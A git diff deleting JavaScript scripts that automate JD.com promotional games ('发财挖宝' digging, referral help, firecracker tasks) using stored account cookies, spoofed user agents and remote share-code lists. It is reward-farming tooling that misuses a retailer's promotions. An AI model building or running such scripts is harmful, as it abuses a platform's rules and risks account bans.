"https://618redpacket.jd.com/?activityId=DA4SkG7NXupA9sksI00L0g&channel=wjicon&sid=0a1ec8fa2455796af69028f8410996aw&un_area=1_2803_2829_0", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdltapp;android;3.5.6;9;8363532363230343238303836333-43D2468336563316936636265356;network/wifi;model/MI 8;addressid/2688971613;aid/059b2009dc5afb88;oaid/665d225a3f96764;osVer/28;appBuild/1656;psn/gB6yf l3bIcXHm 4uTHuFZIigUClYKza5OsTPc6vgTc=|932;psq/11;adk/;ads/;pap/JA2020_3112531|3.5.6|ANDROID 9;osv/9;pv/712.12;jdv/0|direct|-|none|-|1613884468974|1613884552;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 9; MI 8 Build/PKQ1-wesley_iui-19.08.25; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36"), - } - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/activity/jd_fcwb_help.js b/activity/jd_fcwb_help.js deleted file mode 100644 index ee2e193..0000000 --- a/activity/jd_fcwb_help.js +++ /dev/null @@ -1,310 +0,0 @@ -/* -发财挖宝 -更新时间:2021-10-30 -活动入口:极速版-发财挖宝 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#发财挖宝 -40 6,17 * * * https://raw.githubusercontent.com/okyyds/yydspure/master/jd_fcwb.js, tag=发财挖宝, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true - -================Loon============== -[Script] -cron "40 6,17 * * *" script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_fcwb.js,tag=发财挖宝 - -===============Surge================= -发财挖宝 = type=cron,cronexp="40 6,17 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_fcwb.js - -============小火箭========= -发财挖宝 = type=cron,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_fcwb.js, cronexpr="40 6,17 * * *", timeout=3600, enable=true - -* * */ -const $ = new Env('发财挖宝'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = []; -let link = `pTTvJeSTrpthgk9ASBVGsw`; -let wbRun = false; -const JD_API_HOST = 'https://api.m.jd.com'; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; - if (process.env.JD_FCWB_WB) { - wbRun = process.env.JD_FCWB_WB || wbRun; - } -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -let cookie = ''; -let fcwbinviter = ""; -let fcwbinviteCode = ""; -let roundList =[] -let curRound = 1 -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - console.log(`\n注意:本脚本暂时只会执行助力,助力后,请手动进活动进行游戏(发财挖宝: 入口,极速版-》我的-》发财挖宝)\n`) - let res = []; - - try{res = await getAuthorShareCode('https://ghproxy.com/https://raw.githubusercontent.com/shufflewzc/updateTeam/main/shareCodes/fcwb.json');}catch (e) {} - if(!res){res = [];} - - if(res.length > 0){ - let actCodeInfo = getRandomArrayElements(res,1)[0]; - fcwbinviter = actCodeInfo.fcwbinviter; - fcwbinviteCode = actCodeInfo.fcwbinviteCode; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - //await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - roundList =[] - try { - await main() - } catch (e) { - $.logErr(e) - } - - if(wbRun) { - let data = roundList.filter(e => e.round === curRound) - if (!data[0]) { - continue - } - console.log('当前正在通关' + curRound + '关\n') - for (let chunk of data[0].chunks.filter(e => e.state !== 1)) { - await wb(curRound, chunk.colIdx, chunk.rowIdx) - await $.wait(3000) - } - } - } - } -})().catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') -}).finally(() => { - $.done(); -}); -function wb(round,rowIdx,colIdx) { - - return new Promise((resolve) => { - let body = {"round":curRound,"rowIdx":rowIdx,"colIdx":colIdx,"linkId":link} - $.get(taskurl("happyDigDo",body), async (err, resp, data) => { - - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.success === true){ - if(data.data.chunk.type ===4 ){ - console.log(`挖到炸弹 哦嚯`) - }else if(data.data.chunk.type == 1){ - console.log(`挖到优惠券 ${data.data.chunk.value}`) - }else if(data.data.chunk.type == 2){ - console.log(`挖到红包 ${data.data.chunk.value}`) - }else if(data.data.chunk.type == 3){ - console.log(`挖到现金 ${data.data.chunk.value}`) - } - - // console.log(`export fcwbinviter='${data.data.markedPin}'`) - }else { - - console.log(`挖宝异常 `+data.errMsg) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -async function main() { - let homeInfo = await takeRequest(`happyDigHome`,`{"linkId":"${link}"}`,true); - if(JSON.stringify(homeInfo) === '{}' || !homeInfo){ - console.log(`都黑号了,别薅了`); - return; - } - console.log(`获取活动详情成功`); - roundList = homeInfo.roundList - curRound = homeInfo.curRound - console.log(`fcwbinviteCode='${homeInfo.inviteCode}'`) - console.log(`fcwbinviter='${homeInfo.markedPin}'`) - if(fcwbinviter && fcwbinviteCode){ - console.log(`去助力:${fcwbinviter}`); - await takeRequest(`happyDigHelp`,`{"linkId":"${link}","inviter":"${fcwbinviter}","inviteCode":"${fcwbinviteCode}"}`); - //console.log(`助力结果:${JSON.stringify(HelpInfo)}`); - } - $.freshFlag = false; - if($.index === 1){ - fcwbinviter = homeInfo.markedPin; - fcwbinviteCode = homeInfo.inviteCode; - } - await doTask(); - if($.freshFlag){ - await $.wait(2000); - homeInfo = await takeRequest(`happyDigHome`,`{"linkId":"${link}"}`,true); - } - let blood = homeInfo.blood; - console.log(`当前有${blood}滴血`); -} -async function doTask(){ - let taskList = await takeRequest(`apTaskList`,`{"linkId":"${link}"}`); - for (let i = 0; i < taskList.length; i++) { - let oneTask = taskList[i]; - if(oneTask.taskFinished){ - console.log(`任务:${oneTask.taskTitle},${oneTask.taskShowTitle},已完成`); - continue; - } - if(oneTask.taskType === 'BROWSE_CHANNEL'){ - if(oneTask.id === 360){ - console.log(`任务:${oneTask.taskTitle},${oneTask.taskShowTitle},去执行`); - let doTask = await takeRequest(`apDoTask`,`{"linkId":"${link}","taskType":"${oneTask.taskType}","taskId":${oneTask.id},"channel":4,"itemId":"${encodeURIComponent(oneTask.taskSourceUrl)}","checkVersion":false}`); - console.log(`执行结果:${JSON.stringify(doTask)}`); - await $.wait(2000); - $.freshFlag = true; - } - if(oneTask.id === 357){ - // let detail = await takeRequest(`apTaskDetail`,`{"linkId":"${link}","taskType":"${oneTask.taskType}","taskId":${oneTask.id},"channel":4}`); - // await $.wait(1000); - // let status = detail.status; - // let taskItemList = detail.taskItemList; - // for (let j = 0; j < taskItemList.length && j < (status.finishNeed - status.userFinishedTimes); j++) { - // console.log(`浏览:${taskItemList[j].itemName}`); - // let doTask = await takeRequest(`apDoTask`,`{"linkId":"${link}","taskType":"${oneTask.taskType}","taskId":${oneTask.id},"channel":4,"itemId":"${encodeURIComponent(taskItemList[j].itemId)}","checkVersion":false}`); - // console.log(`执行结果:${JSON.stringify(doTask)}`); - // await $.wait(2000); - // } - } - } - } -} -function taskurl(functionId,body) { - return { - url: `${JD_API_HOST}/?functionId=${functionId}&body=${escape(JSON.stringify(body))}&t=1635561607124&appid=activities_platform&client=H5&clientVersion=1.0.0`, - - headers: { - - "Cookie": cookie, - "Origin": "https://api.m.jd.com", - "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", - - } - } -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -async function takeRequest(functionId,bodyInfo,h5stFlag = false){ - let url = `https://api.m.jd.com/?functionId=${functionId}&body=${encodeURIComponent(bodyInfo)}&t=${Date.now()}&appid=activities_platform&client=H5&clientVersion=1.0.0`; - if(h5stFlag){ - //url = await getH5stUrl(functionId,bodyInfo); - } - const headers = { - 'Host' : `api.m.jd.com`, - 'Accept' : `application/json, text/plain, */*`, - 'Origin' : `https://bnzf.jd.com`, - 'Cookie' : cookie , - 'Accept-Encoding' : `gzip, deflate, br`, - 'user-agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language' : `zh-cn`, - 'Referer' : `https://bnzf.jd.com/?activityId=${link}` - }; - let sentInfo = {url: url, headers: headers}; - return new Promise(async resolve => { - $.get(sentInfo, (err, resp, data) => { - try { - if(err){ - console.log(err); - }else{ - data = JSON.parse(data); - if(data && data.data && JSON.stringify(data.data) === '{}'){ - console.log(JSON.stringify(data)) - } - } - } catch (e) { - console.log(data); - //$.logErr(e, resp) - } finally { - resolve(data.data || {}); - } - }) - }) -} -function getAuthorShareCode(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getRandomArrayElements(arr, count) { - var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; - while (i-- > min) { - index = Math.floor((i + 1) * Math.random()); - temp = shuffled[index]; - shuffled[index] = shuffled[i]; - shuffled[i] = temp; - } - return shuffled.slice(min); -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_festival.js b/activity/jd_festival.js deleted file mode 100644 index 938bb64..0000000 --- a/activity/jd_festival.js +++ /dev/null @@ -1,446 +0,0 @@ -/* -tgchannel:https://t.me/Ariszy8028 -github:https://github.com/Ariszy/Private-Script -boxjs:https://raw.githubusercontent.com/Ariszy/Private-Script/master/Ariszy.boxjs.json -*/ -const $ = new Env('点鞭炮赢京豆') -const notify = $.isNode() ?require('./sendNotify') : ''; -cookiesArr = [] -CodeArr = [] -cookie = '' -var taskItemIdArr = [],task1ItemIdArr = [] -let t,num1,num2,num3,num4,num5,num = 0; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), 